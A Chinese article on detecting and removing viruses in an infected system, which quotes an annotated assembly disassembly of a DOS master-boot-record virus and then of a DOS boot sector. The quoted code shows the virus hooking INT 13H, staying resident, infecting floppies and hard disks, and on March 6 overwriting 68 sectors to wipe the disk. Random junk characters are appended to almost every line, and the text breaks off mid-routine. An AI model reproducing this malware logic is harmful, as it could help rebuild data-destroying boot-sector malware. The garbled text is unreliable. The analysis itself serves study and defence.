近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 y|q3Wa
?? -o.:P>/
?? 一 、 带毒环境下检测清除病毒的意义 )];K .zP
?? 5P$4 =z91
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 Ip]KPrwp
?? (%:c#;#
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 ^Va1f'g
?? Lu0x
(/
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 F*K_+
?m
?? $DUZ!zaH!
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。
4YX3+oS
?? &l[$*<P5V
?? 二 、带毒环境下检测清除病毒的原理 &(mR>
mT
?? A_#DJJMm
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 !&Pui{F
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 /[>sf[X\I9
T${Q.zHY[!
50C
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister "
6B
?twh)
病毒体: ivz5H(b
JMP 01AF ;JMP到01AF |id
<=Xf
DB 00 ;病毒标计 wg]LVW}
DW 00F5 ;此为搬到高位址后,远程跳转指令 d&s9t;@=
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX 7(
2{'r
DB 02 Y7[jqb1D
DW 0003 ;此为软盘识别标记,硬盘为0007 bD8Gwi=iiu
DW EC59 ; Vl!6W@g
DW F000 ;INT 13H的原入口 (NnH:J`
. 0k(a VkZ I
. 19KQlMO.G
. ^Js9 s8?$
. q8Z<{#oXu
. SN!?}<|U
XOR AX,AX ;清除AX RlDn0s
MOV DS,AX; ;让DS=0000 >u8gD6X
CLI ;清I标志积存器 {T
Ug.%u
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 R+,u^;\
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 KFkoS0M5|
MOV SP,AX ;开机时为0000:7CB6 LRMx<X8
STI ;设I标志积存器 :TC@tM~Oy
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A D+7Rz_=
PUSH AX ;用RETF,把程序转到引导或分区表位置 q=qcm`ce
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 qc~iQSI
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在
U2~kJ
MOV AX,[004E] ;取INT 13H的段地址 !o[7wKrXb
MOV [7C0C],AX ;存到010C d6sye^P
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 we?76t:-
;读写以便传播发作 VgC2+APg
O|N{v"o
MOV AX,[0413] ;取得内存K数,放在AX xLZG:^(I
DEC AX ; a"g!e^
DEC AX ;减2k内存 t\j*}# S
MOV [0413],AX ;存回,通常是638K E'.7xDN
MOV CL,06 ; HuKc9U'7A
SHL AX,CL ; yD6[\'%
MOV ES,AX ;算出减2K后病毒本体的位址 gy9U2Wgf|
MOV [7C05],AX ;AX存入0105 Wh2tNyS
v+=BCyT
;病毒常用手法将系统高段内存减少以便驻留 '1)$'
;这样可以免于被其他程序覆盖 }t1a*z
84 pFc;<
MOV AX,000E ;病毒拦INT 13H =+MPFhvg!
;ISR起始的偏移量 .JiziFJ@mj
MOV [004C],AX ; Y~E`9
MOV [004E],ES ;设原为病毒的INT 13H ; XN{x
MOV CX,01BE ;病毒长度为1BE :7?FF'u
MOV SI,7C00 ;从JMP 01AF开始 X=8{$:
XOR DI,DI ;DI=0 M b1sF
CLD ;清方向标志 j;iAD:nf
REPZ; GU8sO@S5#
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 !V g`
CS: ;分区表能载入0000:7C00正常运作 }HePZ{PLM
JMP FAR [7C03] ;跳到为搬过后的位址 +|89>}w4
XOR AX,AX ;清AX W$2C47i
MOV ES,AX ;ES=0000 o W Nh@C
INT 13 ;复位磁盘 tWa)_y
PUSH CS ; 8rS:5:Hi
POP DS ;让DS=CS X~,aNRy
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 } c}_<#I
MOV BX,7C00 ;读到0000:7C00 w+E,INdi
MOV CX,[0008] ;硬盘第0道,第7扇区 *6F[t.Or
CMP CX,+07 ;比较是否从硬盘启动 s1=G;
JNZ 0213 ;不是跳0213 &<U0ZvrsH
MOV DX,0080 ;第一硬盘C:第零面 Jh[UtYb5
INT 13 ;用INT 13号中断,读 BC<^a )D=
JMP 023E ;跳023E比较日期,发作或正常开机 K8.!_
c
MOV CX,[0008] ;软盘0道,第3扇区 :#?5X|Gz
MOV DX,0100 ;A:的第0面 dg"3rs /?A
INT 13 ;INT 13读盘 J9iy
JB 023E ;失败跳023E X;c'[q
PUSH CS o/Q;f@
POPES ;让ES=CS s^uS1
MOV AX,0201 ; o;R2p $
MOV BX,0200 ; FXN/Yq
MOV CX,0001 ; QR0Q{}wbqU
MOV DX,0080 ; w{@ o^rs
INT 13 ;读入C:的分区表到0200,以便下面比较 xZwLlY
JB 023E ;失败跳023E hUMf"=q+
XOR SI,SI ;清SI |! E)GahM
CLD ;清方向标志以便比较 }YNR"X9*)/
LODSW ;载入一个WORD到AX aAMVsE{
CMP AX,[BX] ;比较有无病毒存在..E9AC C-MjJ6D<
JNZ 0287 ;没有则跳0287传染 ~C`^6UQr/?
LODSW ;载入一个WORD到AX 4'A!; ]:
CMP AX,[BX+02] ;再次确认..0000 z] ?N+NHOA
JNZ 0287 ;没有跳0287 iv;Is[<o
XOR CX,CX ;清CX M`i\VG
MOV AH,04 ; >P@H#=
INT 1A ;取得日期 \EtQ5T*u
CMP DX,0306 ;是否为三月六日 EbE-}>7OO
JZ 024B ;是跳024B传染 Rt!FPoN,y
RETF ;把程序交还给引导启动完成 m6CI{Sa](l
iJ3e1w$
步骤4:病毒INT 13代码分析 s<eb;Z2D
方法:U C$D-Pt"+
PUSH DS ;首先把要用到积存器 ?9\EN|O^
PUSH AX ;入栈保存 a (b#
OR DL,DL ;比较是否为软盘 ?fjuh}Q5h
JNZ 002F ;如不是则退出传染 #[~pD:qqM
XOR AX,AX ;AX=0 Midy"
MOV DS,AX ;数据代段=0 T<p !5`B 1
TEST BYTE PTR [043F],01 ;比较是否为A盘 EYEnN
JNZ 002F ;不是则退出 :~T99^$zA
POP AX ;将以上保存积存器 dCk3;XU
POP DS ;弹栈恢复 n}G|/v<
PUSHF ;压栈标志积存器 JYd 'Jp8bP
CS: ;以便执行原INT 13 q~ZNd3O
CALL FAR [000A] ;执行原INT 13 78# v
PUSHF ;再次压栈 i?g5_HI
CALL 0036 ;以便跳转到传染程序 ^xh ;
POPF ;跳转到执行传染 LNpup`>`
RETF 0002 ;结束中断调用返回 3ojlB |Z
POP AX ;恢复 J| bd)0
POP DS ;堆栈 S(8$S])0
CS: ;跳转到原正常INT 13 P5nO78
JMP FAR [000A] ;地址执行 ]?
g@jRs
?_vakJ
)
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 _EMwm&!
iS Gq!D
步骤5:传染过程分析 SB|Qa}62
方法:U <_tT<5'[$u
对软盘传染过程: D
(mj7oB
PUSH AX ;工 ,\ k(x>oy
PUSH BX ;作 r)~ T@'y
PUSH CX ;寄 Vq\`+&A
PUSH DX ;存
G]i/nB
PUSH DS ;器 /!$c/QZ
PUSH ES ;入 U4-g^S[
PUSH SI ;栈 ZUR6n>r
PUSH DI ;保存 D.Q=]jOs
PUSH CS ;以压/弹栈方式 ()+<)hg}2
POP DS ;使数据段DS和 ^,8)iV0j_
PUSH CS ;附加段ES均指向 3?7\T#=
POP ES ;代码段CS L=8<B=QT$
MOV SI,0004 ;试4次 }\#Rot>Y
MOV AX,0201 ;设置各 x+x40!+\
MOV BX,0200 ;积存器 HO%wHiv1X
MOV CX,0001 ;为读软盘 ie\"$i.98H
XOR DX,DX ;引导扇区做准备 -[!P!d=
PUSHF ;压栈标志积存器 $[&*Bj11Yg
CALL FAR [000A] ;正常的INT 13调用 G<f@#[$'
JNB 0063 ;成功则转判断 a]/>ra5{
XOR AX,AX ;不成功复位 vbBc}G"w
PUSHF ;磁盘继续读 >JCM.I0_|
CALL FAR [000A] ;如果4次 &<J[Q%2
DEC SI ;均匀不成功 WIf0z#JMJm
JNZ 0045 ;则退出跳转 2hkRd>)&5
JMP 00A6 ;退出传染 4V==7p
x(
XOR SI,SI ;SI=0以便用 6qaQ[XTxf
CLD ;LODSW读入软盘 `_{`l4i5
LODSW ;第1或第2字进行比较 -VTkG]{`Ir
CMP AX,[BX] ;比较如果不包含病毒标志 #=f?0UTA
JNZ 0071 ;则跳转写传染 >wBJy4:
LODSW ;如果已有标志 *
%M3PTY\
CMP AX,[BX+02] ;则退出 O0No'LVu
JZ 00A6 ;传染子程序 "zRoU$X
MOV AX,0301 ;为写盘准备 %.
,=maA
MOV DH,01 ;如果是360K V<@ o<R
MOV CL,03 ;则写到1面0道3扇区 k"]dK,,
CMP BYTE PTR [BX+15],FD ;比较软盘 5nO% Ke=
JZ 0080 ;如果大于360K *c*0PdV
MOV CL,0E ;写到1面0道14扇区 /fT+^&
MOV [0008],CX ;写病毒标志到软盘 mvZw
PUSHF ;调用原INT 13 wK-3+&,9
CALL FAR [000A] ;进行传染 z3M6V}s4
JB 00A6 T {Uc:Z
MOV SI,03BE ;以下是将正常 *"n vX2iz
MOV DI,01BE ;引导扇区从 okv 1K
MOV CX,0021 ;1BE起的21字节内容 C
#6dC0
CLD ;搬移到病毒程序尾部 dJ""XaHqf
REPZ ;开始复制 [P7N{l=I
MOVSW ICkp$u^
MOV AX,0301 ;写盘功能调用,写一个扇区 >ByXB!Wi+
XOR BX,BX ;将病毒程序 aZ'Lx:)R
MOV CX,0001 ;写入软盘引导扇区内 *nsAgGKKM^
XOR DX,DX ;设置为软盘 ]=";IN:SU
PUSHF q**G(}K
CALL FAR [000A] ;执行正常INT 13调用写盘 5qoSEI-m
POP DI ;将 ANSFdc
POP SI ;工 F>[,zN
POP ES ;作 Ii_ojQP-z
POP DS ;寄 `Ru3L#@
POP DX ;存 3*)ig@e6
POP CX ;器
S"$m]
POP BX ;退 yH*6@P4:0=
POP AX ;栈 Zrr5csE
RET ;返回调用处 ,|plWIl~
对硬盘传染过程: eI:C{0p=
MOV CX,0007 ;第7扇区 J6G(_(d
MOV [0008],CX ;此处为硬盘引导标记 +d!v}aJ
MOV AX,301 ;写功能调用 B0WJ/)rK<
MOV DX,0080 ;设置为硬盘 ez!C?
INT 13 ;将正常引导扇区写到0面0道7扇区内 <xC#@OZ
JB 13E ;失败则转 z;wELz1L{
MOV SI,03BE ;原分区表地址 e=;AfK
MOV DI,01BE ;目标地址 Y +\%
MOV CX,0021 ;整个分区表 yK2^Y]Ku?
REPNZ '@CR\5 @
MOVSW ;开始复制 7C2&NyWJ
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 CL}{mEr}
;这样在分析着查看硬盘分区信息时仍能看到该部分 @wC5 g 4E
;内容,以次来麻痹分析者 i'wAE:Xe
MOV AX,0301 ;准备写病毒提进硬盘 /'DsB%7g
XOR BX,BX ;病毒体位置 YH_7=0EJ
INC CL ;第一扇区 {aC!~qR
INT 13 ;开始写盘传染 &F5@6nJ`
JMP 013E ;转到13E处判断是否为3月6日,是则发作 y>|{YWbp?
\qR %%S
步骤6:破坏过程分析 f'{]"^e=
方法:U ku
a)
K!
主要分析对硬盘数据破坏: S^<g_ q
. L%c0 Z@[~
. b2=0}~LK
. UNi`P9D]3
. "0k8IVwp
. P#/HTu5q7
MOV DL,80 SdwS= (e6
MOV BYTE PTR[0007],04 %8M)2?E
;准备写硬盘 ^ Dt#$Z
MOV AL,11 ;写17个扇区 lmSo8/%T
MOV BX,5000 \3jW~FV
MOV ES,BX ;从内存ES:5000中处开始写 9{8GP
INT 13 ;残不人睹 $gM8{.!
JNB 0179 ;成功转179继续写 JiU9CeD3
XOR AH,AH ?8mlZ
X9C
INT 13 ;不成功复位磁盘继续 U}l14
INC DH ;使写操作磁头加1继续? Iu*^xn
CMP DH,[0007] ;比较是否小于0007单元值 C2w2252T
JB 0150 ;是则返回开始处继续写 m&iH2|
XOR DH,DH ;DH=0 Tl|:9_:t
INC CH ;再加扇区 gxMfu?zk"
JMP 0150 ;反回继续写 $Qy7G{XJ[^
;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 d@G}~&.|
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 rf%7b8[v
;和文件分配表。 -}6xoF?
OOz[-j>'Y+
引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 LJTQaItdqJ
读盘的时将自身写入磁盘。 d{de6 `
引导过程如下: 1G'`2ATF*
1>调整堆栈位置 %9#gB
2>修改并用修改后的磁盘参数表来复位磁盘系统 :BGA.
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 D\YE^8/
4>读入根目录表的首扇区 !GQ\"Ufs>
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS vuFBET,
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 Z0>DNmH*
7>跳到0000:0700H处执行IO.SYS,引导完毕 \Ro^*4B
003E FA CLI BiZ=${y
003F 33C0 XOR AX,AX $VQtwuYt
0041 8ED0 MOV SS,AX =FT98H2*|
0041 8ED0 MOV SS,AX n7YEG-J
0043 BC007C MOV SP,7C00 ; 初始化堆栈 "A)("
0046 16 PUSH SS *I0-O*Xr
0047 07 POP ES ;(ES)=0000H o!r8{L
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H <JwX_\?ln
004B 36 SS: ;(SS)=0000H !;!~n`
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI b2b75}_A
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 `K
>?ju"
004F 56 PUSH SI ;取到后压入堆栈中保存 oo$MWN8a>r
0050 16 PUSH SS o(Cey7
0051 53 PUSH BX ;保存地址0000:0078H 02k4N%
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 xlR2|4|8
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 35x 0T/8
0058 FC CLD hwDbs[:
0059 F3 REPZ X5*C+ I=2
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 }V|{lvt.
005B 06 PUSH ES sW^a`VM
005C 1F POP DS ;(DS)=0000H =_8Tp~j
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" `j9$T:`
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" N=)z
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" io3yLIy,
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) *+b6B_u]
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 <p?&udqD
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 X}6#II
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 *$M'`vj:
0072 7279 JB 00ED ;出错则转出错处理 V8~jf-\$b
Sj(F3wY
; 下面一段程序计算扇区位置 STA4 p6
0074 33C0 XOR AX,AX ='E$-_
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 oQj=;[
007A 7408 JZ 0084 ;为零表示大硬盘? Ij'NC C
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 KZBrE$@%5
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 do
^RF<G
0084 A0107C MOV AL,[7C10] ;取FAT表的个数 :` $@}GI
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 m2Uc>S
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) 3?s ?XAh
008F 13161E7C ADC DX,[7C1E] ; 高位 Bfv.$u00p
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) ]fI/(e_U
0097 83D200 ADC DX,+00 ; (高位) 4E:bp
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) W];EKj,3W
009D 8916527C MOV [7C52],DX ; (高位) &wetzC)
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) BD#.-xWV
00A4 89164B7C MOV [7C4B],DX ; (高位) e|r0zw S
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 41 vL"P
K
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 i
NWC6y
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" -NBiW6b~
00B3 03C3 ADD AX,BX ;这两条指令是为了取整 cxYfZ4++m
00B5 48 DEC AX ]> Y/r-!
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 L {ymI)Y^
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) XO
F1c3'H
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) #m8sK(#lo
;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS p'{xoV
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 })IO#,
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) W:QwHZ2O
00C8 A1507C MOV AX,[7C50] ; (低位) C+MSVc
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 XDD<oo
00CE 721D JB 00ED ;出错则转出错处理 wp.TfKxw
00D0 B001 MOV AL,01 G;oFTP>o
00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇) ]PNowS\
00D5 7216 JB 00ED ;出错处理 qsg>5E
00D7 8BFB MOV DI,BX ;内存缓冲区的首址 !)Rr]
~
00D9 B90B00 MOV CX,000B ;比较11个字节 [Id}4[={e
00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节 IGAzE(
00DF F3 REPZ 4o9$bv
00E0 A6 CMPSB ;看第一项是否为IO.SYS I2HT2c$
00E1 750A JNZ 00ED ;不是则出错 Cj;/Uhs
00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项 rFL$QC2
00E6 B90B00 MOV CX,000B ;比较11个字节 396R$\q
00E9 F3 REPZ 5GAy "Xd
00EA A6 CMPSB ;看第二项是否为MSDOS.SYS emA!Ew(g
00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理 u&TdWZe
$X+u={]
;下面一段进行出错处理 u:`y]
00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..." g3?U#7i
00F0 E85F00 CALL 0152 ;显示字符串 ?4)v`*
00F3 33C0 XOR AX,AX r[Zq3
00F5 CD16 INT 16 ;等待任一键按下 q?~Rnv
00F7 5E POP SI ZcryAm:I
00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H $~'Tf>e
00F9 8F04 POP [SI] ?Cci:Lin
00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容 O(OmGu4%
00FE CD19 INT 19 ;自举 n!N\zx8
0100 58 POP AX (3EUy"z-
0101 58 POP AX M'1HA
0102 58 POP AX ;清理堆栈 Y&'8VdW
0103 EBE8 JMP 00ED ;再次试图起动 8HoP(+?
qvLDfN
;下面读入IO.SYS的头3个扇区到内存0000:0700H处 MPRO
!45Z
0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号 $<ddy/4
0108 48 DEC AX U 0ZB^`
0109 48 DEC AX ;首簇号减二 +|C[-W7Sw
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数 :J(sXKr[C
010E 32FF XOR BH,BH @PcCiGZ
0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数 nJVp.*S
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号 {(vOt '
0116 13164B7C ADC DX,[7C4B] ,{j4
011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值 +*t|yKO>[
011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区 TV{)n'aA
0120 50 PUSH AX ;逻辑扇区号进栈(低位) t^@T`2jL
0121 52 PUSH DX ; (高位) c#q"\"
0122 51 PUSH CX ;循环计数器进栈 6d{j0?mM
0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号 ?TuI:dC
0126 72D8 JB 0100 ;出错处理 "]]q} O?
0128 B001 MOV AL,01 d]M[C[TOX
012A E85400 CALL 0181 ;读一个扇区到内存缓冲区 2X@G"
012D 59 POP CX ;循环计数出栈 %N~;{!![p
012E 5A POP DX "oE* 9J?e
012F 58 POP AX ;逻辑扇区号出栈 K~>jApZ%
0130 72BB JB 00ED ;读盘出错处理 ~5t?C<wo
0132 050100 ADD AX,0001 xtJAMo>g
0135 83D200 ADC DX,+00 ;下一个扇区 _IYY08&(r
0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小 t>U!Zal"
013C E2E2 LOOP 0120 ;循环读入三个扇区 gEKO128
013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS qB JRS'6'9
0142 8A16247C MOV DL,[7C24] ;取"系统文件所在的驱动器号" XU#,Bu{
0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的逻辑扇区号 /Antb6E
014A A14B7C MOV AX,[7C4B] .k]#XoE
014D EA00007000 JMP 0070:0000 ;执行IO.SYS,引导完毕 &LU'.jY
;显示字符串的子程序 jpO38H0)
0152 AC LODSB ;从串中取一个字符 r69WD
.
0153 0AC0 OR AL,AL cTj~lO6
0155 7429 JZ 0180 ;为0则已到串尾,返回(共用RET指令) V<